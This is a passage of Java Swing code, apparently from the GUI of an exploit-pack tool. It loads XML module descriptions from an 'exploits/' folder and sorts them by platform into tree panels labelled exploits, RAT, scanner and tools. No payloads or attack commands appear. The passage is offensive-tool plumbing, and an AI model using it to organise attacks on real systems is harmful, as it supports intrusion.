        String path = "exploits/";
        String files;
        File folder = new File(path);
        File[] listOfFiles = folder.listFiles();
        jTextAreaQuickInfo.append("[" + LogTime + "] "
                + "Modules successfully reloaded: OK" + "\n");
        DefaultTreeCellRenderer rendererModules = new DefaultTreeCellRenderer();
        rendererModules.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
        rendererModules.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/application.png"))));
        rendererModules.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/log.png"))));
        jTreeModuleStatus.setCellRenderer(rendererModules);
        DefaultTreeCellRenderer rendererExploits = new DefaultTreeCellRenderer();
        rendererExploits.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
        rendererExploits.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
        rendererExploits.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/scriptnormal.png"))));
        jTreeExploits.setCellRenderer(rendererExploits);
        DefaultTreeCellRenderer rendererRAT = new DefaultTreeCellRenderer();
        rendererRAT.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
        rendererRAT.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/world.png"))));
        rendererRAT.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/terminal.png"))));
        jTreeRAT.setCellRenderer(rendererRAT);
        DefaultTreeCellRenderer rendererScanner = new DefaultTreeCellRenderer();
        rendererScanner.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
        rendererScanner.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/networking.png"))));
        rendererScanner.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/port.png"))));
        jTreeRemoteScanner.setCellRenderer(rendererScanner);
        DefaultTreeCellRenderer rendererTools = new DefaultTreeCellRenderer();
        rendererTools.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
        rendererTools.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
        rendererTools.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/tool.png"))));
        jTreeTools.setCellRenderer(rendererTools);
        DefaultTreeCellRenderer rendererNotepad = new DefaultTreeCellRenderer();
        rendererNotepad.setClosedIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal.png"))));
        rendererNotepad.setOpenIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/foldernormal2.png"))));
        rendererNotepad.setLeafIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/server2.png"))));
        jTreeNotepad.setCellRenderer(rendererNotepad);

        // Iterate and add items
        DefaultTreeModel model = (DefaultTreeModel) jTreeExploits.getModel();
        DefaultTreeModel modelNotepad = (DefaultTreeModel) jTreeNotepad.getModel();
        DefaultTreeModel modelTools = (DefaultTreeModel) jTreeTools.getModel();

        for (int e = 0; e < 59; e++) {
            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), e);
            root.removeAllChildren();
        }
        for (int e1 = 0; e1 < 1; e1++) {
            DefaultMutableTreeNode root1 = (DefaultMutableTreeNode) modelNotepad.getChild(modelNotepad.getRoot(), e1);
            root1.removeAllChildren();
        }
        for (int e2 = 0; e2 < 3; e2++) {
            DefaultMutableTreeNode root2 = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), e2);
            root2.removeAllChildren();
        }

        for (int i = 0; i < listOfFiles.length; i++) {
            if (listOfFiles[i].isFile()) {
                files = listOfFiles[i].getName();
                if (files.endsWith(".xml") || files.endsWith(".XML")) {
                    // Instancio XMLTreenode
                    NewXMLNode = new XMLTreenode();
                    // Start de la clase main de XMLTreenode
                    NewXMLNode.main(null, files);

                    // Targets Tree
                    if (NewXMLNode.ExploitType.equals("notepad")) {
                        DefaultMutableTreeNode item = null;
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelNotepad.getChild(modelNotepad.getRoot(), 0);
                        if (NewXMLNode.Platform.equals("windows")) {
                            if (NewXMLNode.SpecialArgs.equals("owned")) {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            } else {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            }
                        }
                        if (NewXMLNode.Platform.equals("linux")) {
                            if (NewXMLNode.SpecialArgs.equals("owned")) {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            } else {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            }
                        }
                        if (NewXMLNode.Platform.equals("osx")) {
                            if (NewXMLNode.SpecialArgs.equals("owned")) {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            } else {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            }
                        }
                        if (NewXMLNode.Platform.equals("bsd")) {
                            if (NewXMLNode.SpecialArgs.equals("owned")) {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            } else {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            }
                        }
                        if (NewXMLNode.Platform.equals("mobile")) {
                            if (NewXMLNode.SpecialArgs.equals("owned")) {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            } else {
                                item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            }
                        }
                        root.add(item);
                        modelNotepad.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelNotepad.getChild(modelNotepad.getRoot(), 0);
                        if (root.getChildCount() == 0) {
                            // root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }

                    if (NewXMLNode.Platform.equals("tools")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 0);
                        DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                        root.add(item);
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 0);
                        if (root.getChildCount() == 0) {
                            //root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("dos")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 1);
                        DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                        root.add(item);
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 1);
                        if (root.getChildCount() == 0) {
                            //root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("others")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 2);
                        DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                        root.add(item);
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) modelTools.getChild(modelTools.getRoot(), 2);
                        if (root.getChildCount() == 0) {
                            //root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }

                    if (NewXMLNode.Platform.equals("aix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 1);
                        DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                        root.add(item);
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 1);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("android")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 2);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 2);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("arm")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 3);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 3);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("asp")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 4);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 4);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("atheos")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 5);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 5);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("beos")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 6);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 6);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("bsd")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 7);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 7);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("bsd_ppc")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 8);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 8);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("bsd_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 9);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 9);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("bsdi_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 10);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 10);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("cfm")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 11);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 11);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("cgi")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 12);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 12);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("freebsd")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 13);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 13);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("freebsd_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 14);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 14);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("freebsd_x86-64")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 15);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 15);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("generator")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 16);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 16);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("hardware")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 17);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 17);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("hp-ux")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 18);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 18);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("immunix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 19);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 19);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("ios")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 20);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 20);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("irix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 21);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 21);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("java")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 22);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 22);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("jsp")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 23);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 23);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("lin_amd64")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 24);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 24);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("lin_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 25);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 25);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("lin_x86-64")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 26);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 26);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("linux")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 27);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 27);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("linux_mips")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 28);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 28);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("linux_ppc")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 29);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 29);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("linux_sparc")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 30);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 30);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("minix")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 31);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 31);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("mips")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 32);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 32);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("multiple")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 33);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 33);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("netbsd_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 34);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 34);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("netware")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 35);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 35);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("novell")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 36);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 36);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("openbsd")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 37);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 37);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("openbsd_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 38);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 38);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("osx")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 39);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 39);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("osx_ppc")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 40);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 40);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("palm_os")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 41);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 41);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("php")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 42);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 42);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("plan9")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 43);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 43);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("qnx")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 44);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 44);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("sco")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 45);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 45);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("sco_x86")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 46);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 46);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("sh4")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 47);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 47);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("solaris")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 48);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 48);
                        if (root.getChildCount() == 0) {
                            root.add(new DefaultMutableTreeNode("Empty"));
                        }
                    }
                    if (NewXMLNode.Platform.equals("solaris_sparc")) {
                        DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 49);
                        root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                        model.reload(root);
                    } else {
